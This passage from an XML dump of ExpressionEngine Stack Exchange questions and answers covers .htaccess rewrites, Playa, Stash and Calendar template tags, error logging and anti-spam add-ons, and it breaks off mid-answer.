  <row Id="14803" PostTypeId="2" ParentId="14802" CreationDate="2013-10-21T15:22:16.563" Score="3" Body="&lt;p&gt;Per the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/about/changelog.html#version-2-7-2&quot; rel=&quot;nofollow&quot;&gt;2.7.2 change log&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Addressed a security issue where XIDs may not invalidate properly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Based on that you can make your decision. But, you're right that it's not clear how far back they see this vulnerability reaching. EE folks will always tell you to update. &lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T15:22:16.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14804" PostTypeId="1" CreationDate="2013-10-21T15:51:31.587" Score="2" ViewCount="126" Body="&lt;p&gt;I have two weird scenarios concerning index.php  in my url.&#xA;For the most part, it is removed from the url.&#xA;The two times when index.php reappears in the url is in form return.&#xA;I'm using Freeform Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My form code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form  &#xA;   form_id=&quot;5&quot;&#xA;   form:id=&quot;freeform&quot;&#xA;   require_ip=&quot;yes&quot; &#xA;   prevent_duplicate_on=&quot;email&quot;&#xA;   return=&quot;/template_group/template/review/%%entry_id%%&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My .htaccess code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine on &#xA;  RewriteCond %{REQUEST_URI} !^/system [NC]&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteRule ^(.+)/$ /$1 [R=301,L,QSA]&#xA;  #&#xA;  RewriteCond %{QUERY_STRING} ^(ACT=.*)$ [NC,OR]&#xA;  RewriteCond %{QUERY_STRING} ^(URL=.*)$ [NC,OR]&#xA;  RewriteCond %{QUERY_STRING} ^(CSS=.*)$ [NC]   &#xA;  RewriteRule ^(.*)$ /index.php\?&amp;amp;%{QUERY_STRING} [L]  &#xA;  #&#xA;  RewriteCond $1 !^(images|assets|bootstrap|system|upd|themes|index\.php|admin\.php) [NC]&#xA;  RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;  #&#xA;  RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]\&#xA;  RewriteCond %{REQUEST_FILENAME} !-f &#xA;  RewriteCond %{REQUEST_FILENAME} !-d &#xA;  RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;  #&#xA;  #------------------- index.php -------------------&#xA;  #strip index.php/* from the URL&#xA;  RewriteCond %{THE_REQUEST} ^[^/]*/index\.php/ [NC]&#xA;  #RewriteRule ^index\.php/(.+) http://%{HTTP_HOST}/$1 [R=301,L,QSA]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I commented out the 2nd to last line of the .htaccess code recently because it was preventing FreeMember's &quot;forgot password&quot; code to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated as I'm not a pro with .htaccess (I know, ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastEditorUserId="69" LastEditDate="2013-10-21T16:06:08.887" LastActivityDate="2013-10-21T16:51:37.477" Title="index.php not always removed" Tags="|solspace-freeform|freemember|.htaccess|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14805" PostTypeId="2" ParentId="14804" CreationDate="2013-10-21T16:08:30.723" Score="1" Body="&lt;p&gt;You have a lot going in there. To completely remove index.php for the entire site, try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteEngine On&#xA;&#xA;  # Removes index.php&#xA;  RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;  RewriteCond %{REQUEST_FILENAME} !-f&#xA;  RewriteCond %{REQUEST_FILENAME} !-d&#xA;  RewriteRule ^(.*)$ /index.php/$1 [L]    &#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-21T16:08:30.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14806" PostTypeId="2" ParentId="14804" CreationDate="2013-10-21T16:51:37.477" Score="3" Body="&lt;p&gt;It was ALL ME!&#xA;I hate it when operator error is the case!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my general preferences, the name of my sites homepage was set to index.php instead of /.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My bad!&#xA;This was definitely an unnecessary post!&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2013-10-21T16:51:37.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14807" PostTypeId="2" ParentId="14654" CreationDate="2013-10-21T17:31:14.503" Score="0" Body="&lt;p&gt;So to achieve this I put my 5 entries in a parent entry, so I could out put the title and all the entries. And used jQuery to get the week number.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;foo&quot; site=&quot;bar&quot;}&#xA;    {title}&#xA;    {exp:playa:children}&#xA;        &amp;lt;li class=&quot;week_7&quot;&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {/exp:playa:children}&#xA;{/exp:channel:entries}&#xA;&#xA;$(document).ready(function () {&#xA;        $('.week_7').wrapAll('&amp;lt;ul class=&quot;foobar&quot;/&amp;gt;');&#xA;        $('.week_6').wrapAll('&amp;lt;ul class=&quot;foobar&quot;/&amp;gt;');&#xA;        $('.week_5').wrapAll('&amp;lt;ul class=&quot;foobar&quot;/&amp;gt;');&#xA;        $('.week_4').wrapAll('&amp;lt;ul class=&quot;foobar&quot;/&amp;gt;');&#xA;        $('.week_3').wrapAll('&amp;lt;ul class=&quot;foobar&quot;/&amp;gt;');&#xA;        $('.week_2').wrapAll('&amp;lt;ul class=&quot;foobar&quot;/&amp;gt;');&#xA;        $('.week_1').wrapAll('&amp;lt;ul class=&quot;foobar&quot;/&amp;gt;');&#xA;        $('.foobar').each(function () {&#xA;            var weeknum = $(this).children('li:first').prop('class');&#xA;            var weeknum = weeknum.match(/\d+/);&#xA;            $(this).prepend('&amp;lt;li class=&quot;week week_'+weeknum+'&quot;&amp;gt;&amp;lt;img src=&quot;/images/theme/week'+weeknum+'.png&quot; alt=&quot;&quot;/&amp;gt;&amp;lt;/li&amp;gt;');&#xA;        });&#xA;    });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1173" LastActivityDate="2013-10-21T17:31:14.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14808" PostTypeId="2" ParentId="14785" CreationDate="2013-10-21T17:44:34.723" Score="3" Body="&lt;p&gt;Instead of trying to catch links on the page (which won't work if the customer uses their back button etc), you should use the &lt;code&gt;empty_cart=&quot;yes&quot;&lt;/code&gt; parameter on the product tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#empty_cart&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/product_tag.html#empty_cart&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:product entry_id=&quot;{entry_id}&quot; empty_cart=&quot;yes&quot;}&#xA;    &amp;lt;!-- form here --&amp;gt;&#xA;{/exp:store:product}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means the cart will be emptied immediately before adding the new product to it. This means it will work with your UX design, even if the customer hits back and changes their donation amount.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-21T17:44:34.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14809" PostTypeId="1" CreationDate="2013-10-21T17:48:20.443" Score="1" ViewCount="56" Body="&lt;p&gt;I'm currently working with Playa on a project and having an issue where playa is creating what looks like duplicate items in its list, when editing a entry based on any number of categories being selected for that entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have attached a video for easy reference of the bug I am encountering. I have used playa on many other projects and have not run into this issue before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=S-5N2tW-C7o&quot; rel=&quot;nofollow&quot;&gt;Video Example of Issue&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2013-10-21T17:48:20.443" Title="Duplicate Entries in Backend of Playa Field 4.4.5" Tags="|playa|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14810" PostTypeId="2" ParentId="14734" CreationDate="2013-10-21T18:35:30.030" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/snaptcha&quot; rel=&quot;nofollow&quot;&gt;Snaptcha&lt;/a&gt; has some additional features over &lt;a href=&quot;http://devot-ee.com/add-ons/hon-ee-pot-captcha&quot; rel=&quot;nofollow&quot;&gt;Honeepot&lt;/a&gt; to better prevent spam submissions. Snaptcha's &quot;medium&quot; and &quot;high&quot; settings require that javascript be enabled, which blocks spambots (they don't use JS). The &quot;high&quot; setting also only allows the form to be submitted once, which helps prevent multiple spam submissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also highly recommend &lt;a href=&quot;http://devot-ee.com/add-ons/low-nospam&quot; rel=&quot;nofollow&quot;&gt;Low Nospam&lt;/a&gt; paired with an &lt;a href=&quot;http://akismet.com/&quot; rel=&quot;nofollow&quot;&gt;Akismet&lt;/a&gt; license. It checks every form submission against a database of known spammers and spam content. If it fails the test, the submission fails. I've never used &lt;a href=&quot;http://devot-ee.com/add-ons/freeform-anti-spam&quot; rel=&quot;nofollow&quot;&gt;Freeform Anti-Spam&lt;/a&gt; so I don't know if they conflict, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another excellent free add-on is &lt;a href=&quot;http://devot-ee.com/add-ons/vz-bad-behavior&quot; rel=&quot;nofollow&quot;&gt;VZ Bad Behavior&lt;/a&gt;. This works a lot like Low Nospam in that it checks against a database of known spammers, but VZ Bad Behavior actually prevents spammers from even &lt;em&gt;viewing&lt;/em&gt; your site, let alone submitting a form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also don't forget to check out &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/security/spam_protection.html&quot; rel=&quot;nofollow&quot;&gt;EllisLab's recommendations for preventing spam natively&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even with all of these options the occasional, clever human spammer will get through. But so few that it's negligible. Just add their IP address to the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/blacklist/&quot; rel=&quot;nofollow&quot;&gt;EE Blacklist&lt;/a&gt; to prevent them from posting again.&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2013-10-21T18:35:30.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14811" PostTypeId="1" CreationDate="2013-10-21T19:49:55.167" Score="1" ViewCount="219" Body="&lt;p&gt;I'm trying to show data conditionally based on a relationship having more than 1 child (see below). When I output the var &lt;code&gt;{exp:playa:total_children field=&quot;cf_lookbook_products&quot; entry_id=&quot;{entry_id}&quot;}&lt;/code&gt; anywhere in the DOM, the conditional returns true, however if I do not include it, then it returns false always. That var also returns the correct number of children.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:playa:total_children field=&quot;cf_relationship_field&quot; entry_id=&quot;{entry_id}&quot;} &amp;gt; 1}&#xA;content here&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="373" LastActivityDate="2013-10-23T22:57:08.290" Title="{exp:playa:total_children} &gt; 1 not returning in conditional without var output" Tags="|add-on|playa|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14812" PostTypeId="1" AcceptedAnswerId="15601" CreationDate="2013-10-21T19:51:16.877" Score="6" ViewCount="625" Body="&lt;p&gt;I am needing to display a list of Calendar events that are selected from a Playa field.&#xA;Of course, I need it to not display events that has passed (by event date) and if the events in the Playa custom field are all passed a 'No Events' message is returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My setup is as follows:&#xA;Channel A contains the Playa custom field that is pulling in all Event entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;{exp:channel:entries channel=&quot;education&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;&amp;lt;ul&amp;gt; &#xA;  {exp:playa:children channel=&quot;calendar_events&quot; limit=&quot;5&quot;}&#xA;    {exp:calendar:events event_id=&quot;{entry_id}&quot; date_range_start=&quot;today&quot; date_range_end=&quot;3 months&quot;}&#xA;      {if calendar_no_results}&#xA;      No Events&#xA;      {/if}&#xA;      &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;                    &#xA;    {/exp:calendar:events}&#xA;  {/exp:playa:children}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Doing this sort of works as it will output 'No Events' but it will do it twice as there are two entries selected in the Playa field that have passed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a event that hasn't passed (schedule for next month) that list will display the future event along with the 2 'No Events' for the other 2 passed events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've messed with Stash as well trying the calendar:events tag for the append_list and placing the get_list within channel and playa tags; see below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;{exp:calendar:events event_id=&quot;{entry_id}&quot; date_range_start=&quot;today&quot; date_range_end=&quot;3 months&quot;}&#xA;{exp:stash:append_list name=&quot;cal_events&quot;}&#xA;  {stash:item_title}{title}{if calendar_no_results}No Events{/if}{/stash:item_title}&#xA;{/exp:stash:append_list}&#xA;{/exp:calendar:events}&#xA;&#xA;{exp:channel:entries channel=&quot;education&quot; disable=&quot;categories|member_data|pagination&quot;} &#xA;&amp;lt;ul class=&quot;icons-ul&quot;&amp;gt;&#xA;{exp:playa:children channel=&quot;calendar_events&quot;}&#xA;  {exp:stash:get_list name=&quot;cal_events&quot; limit=&quot;5&quot;}&#xA;  &amp;lt;li&amp;gt;{item_title}&amp;lt;/li&amp;gt;&#xA;  {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what am i missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2013-11-09T00:03:38.210" Title="Displaying list of Calendar events from a Playa field" Tags="|playa|stash|solspace|solspace-calendar|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14813" PostTypeId="2" ParentId="14811" CreationDate="2013-10-21T20:00:25.980" Score="1" Body="&lt;p&gt;Make sure you put your conditional inside of your &lt;code&gt;{exp:channel:entries ...}&lt;/code&gt; tag for the &lt;code&gt;{entry_id}&lt;/code&gt; to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't help, what code do you have around this conditional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change your quotes to look like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:playa:total_children field='cf_relationship_field' entry_id='{entry_id}'}&quot; &amp;gt; 1}&#xA;content here&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-23T22:57:08.290" LastActivityDate="2013-10-23T22:57:08.290" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14814" PostTypeId="2" ParentId="14590" CreationDate="2013-10-21T20:09:32.710" Score="1" Body="&lt;p&gt;This has been fixed in &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_204&quot; rel=&quot;nofollow&quot;&gt;Store 2.0.4&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed an error with Stripe gateway where card token was not submitted correctly&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Per Bryant's answer, in Store 2.0.3 the card token was not being correctly passed through to Stripe which meant the payment was unsuccessful.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-21T20:09:32.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14815" PostTypeId="2" ParentId="14629" CreationDate="2013-10-21T20:10:45.280" Score="2" Body="&lt;p&gt;This has been fixed in &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_204&quot; rel=&quot;nofollow&quot;&gt;Store 2.0.4&lt;/a&gt; which was released today:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed ability to edit time manually in datetime fields in the control panel&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can now manually edit the time after selecting the date you need.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-21T20:10:45.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14816" PostTypeId="2" ParentId="14673" CreationDate="2013-10-21T20:12:10.443" Score="0" Body="&lt;p&gt;This has been fixed in &lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_204&quot; rel=&quot;nofollow&quot;&gt;Store 2.0.4&lt;/a&gt; which was released today:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fixed product options named 0 being treated as empty&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can now create product options named &quot;0&quot; and they will not disappear or be treated as an empty string.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-21T20:12:10.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14817" PostTypeId="1" AcceptedAnswerId="14860" CreationDate="2013-10-21T20:34:20.593" Score="2" ViewCount="120" Body="&lt;p&gt;I'm unable to get any relationship information to display within my Playa field. I'm using ExpressionEngine 2.5.2 with Playa 4.0.5 installed and my license key input. I have an information selected within my channel entry in the Playa field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My playa field is titled &quot;testplaya2&quot; and here is the code that I'm using to display the playa information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:channel:entries  channel=&quot;tours&quot; limit=&quot;1&quot; url_title=&quot;{segment_2}&quot; status=&quot;open|hidden&quot; show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot;}&#xA; &amp;lt;div class=&quot;section&quot;&amp;gt;&#xA;    {testplaya2}&#xA;        {title}&#xA;    {/testplaya2}&#xA; &amp;lt;/div&amp;gt;&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="899" LastEditorUserId="899" LastEditDate="2013-10-23T15:57:55.243" LastActivityDate="2013-10-23T15:57:55.243" Title="Information not displaying in Playa field" Tags="|playa|pixelandtonic|fieldtype|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14819" PostTypeId="1" CreationDate="2013-10-21T21:06:03.443" Score="4" ViewCount="832" Body="&lt;p&gt;I have a live e-commerce site which is seemingly random (in that all the reports appear to be different) error where, at some point, during the checkout process, the entire thing gives up and I get a white screen of death.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't enable debugging (at least verbosely) on this site, but I'd like to be able to capture all of the EE and Session Data (either in a text file, third party service or simply email dump it all to me) and then instead of the white screen, I'd like to present the user with a 'Sorry somethings broken, but we've been notified and we'll look into it!' kind of message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are my options here? Whats the best way to get this kind of information out of EE? It's an older version of EE (v 2.5.3), with add-ons which have had custom hacks on them so none of it can be upgraded (the site is in fact being rebuilt, but is 2-3 months off completion). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client naturally doesn't want to spend a huge amount of time debugging a somewhat impossible bug, but in the same respect we have no idea how many orders are being lost to this random issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-10-22T00:26:42.503" Title="How do I capture *all* data from a White Screen" Tags="|php-errors|debugging|white-screen-of-death|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14820" PostTypeId="2" ParentId="14819" CreationDate="2013-10-21T21:21:55.760" Score="4" Body="&lt;p&gt;You can log errors to a file using php_value error_log in your .htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/11330041/specify-a-relative-path-to-php-value-error-log&quot;&gt;https://stackoverflow.com/questions/11330041/specify-a-relative-path-to-php-value-error-log&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a recommended .htaccess setup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_flag display_errors 1&#xA;php_flag display_startup_errors 1&#xA;php_value error_reporting 30719&#xA;php_value error_log /home/USER/log/PROJECT.log&#xA;php_flag log_errors 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also add something like this at the top of index.php to help provide context:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_log($_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['PHP_SELF'] . ($_SERVER['QUERY_STRING'] ? '?' . $_SERVER['QUERY_STRING'] : ''));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for handling the white screen itself - try wrapping a try/catch around the require_once at the bottom of index.php. The catch block could then be used to display a more friendly message.&lt;/p&gt;&#xA;" OwnerUserId="2236" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-10-21T21:21:55.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14821" PostTypeId="1" CreationDate="2013-10-21T21:22:13.560" Score="3" ViewCount="559" Body="&lt;p&gt;As far as I can tell, orderby=&quot;random&quot; does not work on the new Grid fieldtype. Has anyone found a good workaround? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a grid with several images. I'd like to display one at a time, but randomize which image shows.&lt;/p&gt;&#xA;" OwnerUserId="2235" LastActivityDate="2013-12-11T01:17:44.467" Title="Is it possible to orderby random for Grid fieldtype?" Tags="|grid|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14823" PostTypeId="1" AcceptedAnswerId="14970" CreationDate="2013-10-21T21:36:03.223" Score="2" ViewCount="742" Body="&lt;p&gt;EE's autosave is not entirely clear in the Docs. Here are the facts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Autosave (tested versions 2.5.5, 2.6.1, 2.7.2) is on by default.&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/222582/#1023950&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/222582/#1023950&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can 'disable' it by a hidden config var either in a bootstrap file, to your config or through the CP global vars. Set the value to 0.&#xA;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#autosave-interval-seconds&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#autosave-interval-seconds&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my testing the default is set to 60 seconds. (I haven't searched through the source code, this is from using a stop-watch).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's not clear in the docs is what triggers an autosave. The timer starts from the moment a value is added to an entry field (Publish/Edit screen). So editing an existing entry does nothing until something has been altered on the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test: edit an existing entry, change the title, wait 60 seconds, autosave posts a message next to the 'submit' button. (in testing changing autosave-interval-seconds to 10, works as expected).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When amending an RTE or WYGWAM field autosave does not execute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help confirming this, help from Ellislab or Pixel &amp;amp; Tonic would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="351" LastEditDate="2013-12-15T01:14:08.207" LastActivityDate="2013-12-15T01:14:08.207" Title="autosave does not work as expected. Specifically RTE and WYGWAM" Tags="|wygwam|rte|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14824" PostTypeId="2" ParentId="9151" CreationDate="2013-10-21T21:38:17.500" Score="2" Body="&lt;p&gt;I can see no one answered this for you. I'm having issues with autosave, maybe my explanation about how it works will answer your question. Maybe the issue I'm having is the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14823/autosave-does-not-work-as-expected-specifically-rte-and-wygwam&quot;&gt;autosave does not work as expected. Specifically RTE and WYGWAM&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="351" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-10-21T21:38:17.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14825" PostTypeId="2" ParentId="14819" CreationDate="2013-10-22T00:26:42.503" Score="1" Body="&lt;p&gt;I'd suggest turning on CodeIgniter logging. In your config.php file set the value for $config['log_threshold'].&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 = Disables logging, Error logging TURNED OFF&#xA;1 = Error Messages (including PHP errors)&#xA;2 = Debug Messages&#xA;3 = Informational Messages&#xA;4 = All Messages&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll need to also create the /system/logs/ folder and set it to be writable. You can overwrite the location by setting the $config['log_path'] in your config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't forget to turn logging off when you're done.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-22T00:26:42.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14826" PostTypeId="1" AcceptedAnswerId="14827" CreationDate="2013-10-22T00:53:13.873" Score="1" ViewCount="74" Body="&lt;p&gt;I guess I should have read that properly but is there no way to enable Solspace Favorites to work with cookies only – not requiring membership??&lt;/p&gt;&#xA;" OwnerUserId="1962" LastActivityDate="2013-10-22T05:11:09.147" Title="Solspace Favorites for members only?" Tags="|solspace|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14827" PostTypeId="2" ParentId="14826" CreationDate="2013-10-22T04:08:01.720" Score="1" Body="&lt;p&gt;Correct, it only works for logged in members. For a cookie-based favorite-type functionality you can use &lt;a href=&quot;http://devot-ee.com/add-ons/shortlist&quot; rel=&quot;nofollow&quot;&gt;Shortlist&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-10-22T04:08:01.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14828" PostTypeId="2" ParentId="14812" CreationDate="2013-10-22T04:34:58.823" Score="3" Body="&lt;p&gt;Try capturing the entry_ids to set a stash value then use that value to define the calendars tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grab the entry_ids for the events.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;  {exp:channel:entries channel=&quot;education&quot; disable=&quot;categories|member_data|pagination&quot;}&#xA;    {stash:event_ids}0{exp:playa:children channel=&quot;calendar_events&quot; limit=&quot;5&quot;}|{entry_id}{/exp:playa:children}{/stash:event_ids}&#xA;  {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{stash:event_ids}&lt;/code&gt; should output something like &lt;code&gt;0|32|54|73&lt;/code&gt; which you can now use in your calendar tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{stash:event_ids}&quot; == &quot;&quot;}No Events{/if} {-- you may be able to remove the quote and brackets from the stash:event_ids tag --}&#xA;{if &quot;{stash:event_ids}&quot; != &quot;&quot;}&#xA;  &amp;lt;ul&amp;gt;&#xA;    {exp:calendar:events event_id=&quot;{stash:event_ids}&quot; date_range_start=&quot;today&quot; date_range_end=&quot;3 months&quot;}&#xA;      &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {/exp:calendar:events}&#xA;  &amp;lt;/ul&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only thing I don't remember is if the 